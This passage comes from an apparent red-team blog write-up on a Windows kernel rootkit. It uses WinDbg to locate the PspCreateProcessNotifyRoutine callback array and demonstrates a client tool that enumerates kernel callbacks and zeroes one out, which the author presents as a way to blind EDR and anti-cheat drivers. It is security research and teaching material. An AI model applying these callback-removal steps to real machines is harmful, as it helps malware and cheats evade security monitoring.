For this example, we will look at PsSetCreateProcessNotifyRoutine. A Windows kernel driver can register kernel callbacks from the driver entry, which are stored inside an array in memory called PspCreateProcessNotifyRoutine. Each kernel callback has its own version of the array. For example, the PsSetCreateThreadNotifyRoutine callback will have an array called PspCreateThreadNotifyRoutine.
Every kernel callback has an array with each index containing pointers to a callback function, and these callbacks exist inside the module/driver that registered it. These arrays have a maximum size of 64.
We can view this through WinDbg. We can see a call instruction to PspSetCreateProcessNotifyRoutine inside the PsSetCreateProcessNotifyRoutine function. This could be a jump instruction on different versions of Windows.
kd> u nt!PsSetCreateProcessNotifyRoutine
nt!PsSetCreateProcessNotifyRoutine:
fffff802`3f186620 4883ec28 sub rsp,28h
fffff802`3f186624 8ac2 mov al,dl
fffff802`3f186626 33d2 xor edx,edx
fffff802`3f186628 84c0 test al,al
fffff802`3f18662a 0f95c2 setne dl
fffff802`3f18662d e8b6010000 call nt!PspSetCreateProcessNotifyRoutine (fffff802`3f1867e8)
fffff802`3f186632 4883c428 add rsp,28h
fffff802`3f186636 c3 ret
We can unassemble PspSetCreateProcessNotifyRoutine until we see the first Load Effective Address (LEA) assembly instruction. This instruction is moving the address of the PspCreateProcessNotifyRoutine array into the R13 CPU register. (It should be noted that other Windows versions may use a different register).
0: kd> u nt!PspSetCreateProcessNotifyRoutine
nt!PspSetCreateProcessNotifyRoutine:
fffff802`3f1867e8 48895c2408 mov qword ptr [rsp+8],rbx
<...redacted...>
0: kd> u
nt!PspSetCreateProcessNotifyRoutine+0x54:
fffff802`3f18683c 488bf8 mov rdi,rax
fffff802`3f18683f 4885c0 test rax,rax
fffff802`3f186842 0f8491730c00 je nt!PspSetCreateProcessNotifyRoutine+0xc73f1 (fffff802`3f24dbd9)
fffff802`3f186848 33db xor ebx,ebx
fffff802`3f18684a 4c8d2d8f5b5600 lea r13,[nt!PspCreateProcessNotifyRoutine (fffff802`3f6ec3e0)]
fffff802`3f186851 488d0cdd00000000 lea rcx,[rbx*8]
fffff802`3f186859 4533c0 xor r8d,r8d
fffff802`3f18685c 4903cd add rcx,r13
We can dump the address being loaded into the R13 CPU register and see that various callback pointers have been registered.
0: kd> dqs fffff802`3f6ec3e0
fffff802`3f6ec3e0 ffffa208`4a0500ff
fffff802`3f6ec3e8 ffffa208`4a1f484f
fffff802`3f6ec3f0 ffffa208`4a7fcddf
fffff802`3f6ec3f8 ffffa208`4a7fcd4f
fffff802`3f6ec400 ffffa208`4a7fcb6f
fffff802`3f6ec408 ffffa208`4af072cf
fffff802`3f6ec410 ffffa208`4af0780f
fffff802`3f6ec418 ffffa208`4af07daf
fffff802`3f6ec420 ffffa208`4c895c9f
fffff802`3f6ec428 ffffa208`4c89ad0f
fffff802`3f6ec430 ffffa208`4eca9cdf
fffff802`3f6ec438 ffffa208`4ecaa30f
fffff802`3f6ec440 00000000`00000000
fffff802`3f6ec448 00000000`00000000
fffff802`3f6ec450 00000000`00000000
fffff802`3f6ec458 00000000`00000
000
Here, we can see that 12 callbacks are present and the other entries are empty. We view our very own kernel callback registered from our rootkit. The values shown on the right side are HANDLES, so we have to AND it with 0xfffffffffffffff8 to get the raw pointer, as explained in this post .
Here, we can see our rootkit has registered a kernel callback. An EDR or anti-cheat may have registered callbacks.
0: kd> dps (ffffa208`4eca9cdf & fffffffffffffff8) L1
ffffa208`4eca9cd8 fffff802`47210580 Eagle!driver_entry+0x4a90
Note that there is not an easy way to directly access the kernel callback arrays. We first have to traverse the PspSetCreateProcessNotifyRoutine function and then traverse PspSetCreateProcessNotifyRoutine to get the LEA instruction so we can access the array. There are many different techniques to access the array dynamically, but these won't be covered in this post.
Exercise for the reader: Blinding EDR On Windows
So, how do we blind the EDR/anti-cheat or remove these kernel callbacks? Well, it's as simple as zeroing out the array. We can use our rootkit to find the address of the array at runtime and replace the specified index with zeros.
Note: The techniques for enumerating/disabling all the kernel callbacks are the same and won't require much extra effort as the same concept applies.
All of these can be used to blind/evade EDRs or anti-cheats. However, note that an anti-cheat or EDR can also check to see if their callback is registered or removed, and this might be suspicious. It should also be noted that this does not trigger PatchGuard.
Here, we can enumerate the number of callbacks and the modules/drivers that have registered the callbacks:
PS C:\Users\memn0ps\Desktop> .\client.exe callbacks --enumerate
Total Kernel Callbacks: 12
[0] 0xffffa2084a0500ff ("ntoskrnl.exe")
[1] 0xffffa2084a1f484f ("cng.sys")
[2] 0xffffa2084a7fcddf ("WdFilter.sys")
[3] 0xffffa2084a7fcd4f ("ksecdd.sys")
[4] 0xffffa2084a7fcb6f ("tcpip.sys")
[5] 0xffffa2084af072cf ("iorate.sys")
[6] 0xffffa2084af0780f ("CI.dll")
[7] 0xffffa2084af07daf ("dxgkrnl.sys")
[8] 0xffffa2084c895c9f ("vm3dmp.sys")
[9] 0xffffa2084c89ad0f ("peauth.sys")
[10] 0xffffa2084eca9cdf ("Eagle.sys")
[11] 0xffffa2084ecaa30f ("MpKslDrv.sys")
In this example, we will disable the kernel callback registered via our very own rootkit. Here, we will replace the 10th index with zeros, which will disable the registered callback made by Eagle.sys.
PS C:\Users\memn0ps\Desktop> .\client.exe callbacks --patch 10
[+] Callback patched successfully at index 10
We can enumerate the number of callbacks and the name of the module that has registered callbacks again to see if we disabled it.
Here, we can see that Eagle.sys is no longer on the list of registered callbacks, and we have successfully disabled the kernel callback for Eagle.sys.
PS C:\Users\memn0ps\Desktop> .\client.exe callbacks --enumerate
Total Kernel Callbacks: 11
[0] 0xffffa2084a0500ff ("ntoskrnl.exe")
[1] 0xffffa2084a1f484f ("cng.sys")
[2] 0xffffa2084a7fcddf ("WdFilter.sys")
[3] 0xffffa2084a7fcd4f ("ksecdd.sys")
[4] 0xffffa2084a7fcb6f ("tcpip.sys")
[5] 0xffffa2084af072cf ("iorate.sys")
[6] 0xffffa2084af0780f ("CI.dll")
[7] 0xffffa2084af07daf ("dxgkrnl.sys")
[8] 0xffffa2084c895c9f ("vm3dmp.sys")
[9] 0xffffa2084c89ad0f ("peauth.sys")
Some of the missing features for this rootkit are hiding files/directories, hiding a network connection, hiding registry keys, and other unimplemented kernel callbacks, which should not be difficult to implement in the future.
The knowledge required to stay updated in the Windows kernel area is vast due to how cutting-edge the field can be. There are many crossovers from game hacking, and anti-cheats are miles ahead of EDRs, but EDRs appear to be following the same path. Game hackers and malware developers have been using these techniques for many years and are also ahead of the game.
Red teamers have recently started learning about Windows kernel and kernel rootkit techniques. It becomes much easier once you know the fundamentals of Windows internals, C/C++/Rust, debugging, and reverse engineering. The question comes down to whether it is what you're interested in and whether it is worth it. Well, that depends on what you want to do. Want to bypass an anti-cheat/EDR? Reverse it, find out what it does, how it works, how it detects things, then don't do the thing that makes it detect you :). While it may sound simple, the time, effort, and knowledge required might not be worth it, depending on what you want to do. But if you put your mind to it, anything is possible.
We hope you enjoyed our write-up.
References and Credits